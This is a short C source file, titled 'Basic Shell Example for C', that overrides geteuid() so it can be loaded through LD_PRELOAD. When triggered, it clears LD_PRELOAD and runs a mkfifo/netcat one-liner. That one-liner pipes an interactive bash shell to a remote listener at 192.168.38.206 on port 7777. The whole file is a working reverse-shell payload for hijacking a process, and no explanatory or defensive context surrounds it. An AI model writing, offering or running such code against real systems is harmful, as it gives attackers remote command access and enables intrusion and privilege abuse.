Basic Shell Example for C

basic_shell.c

#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
int  geteuid() {
  if (getenv("LD_PRELOAD") == NULL) { 
    return 0; 
  }
  unsetenv("LD_PRELOAD");
  system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.38.206 7777 >/tmp/f");
}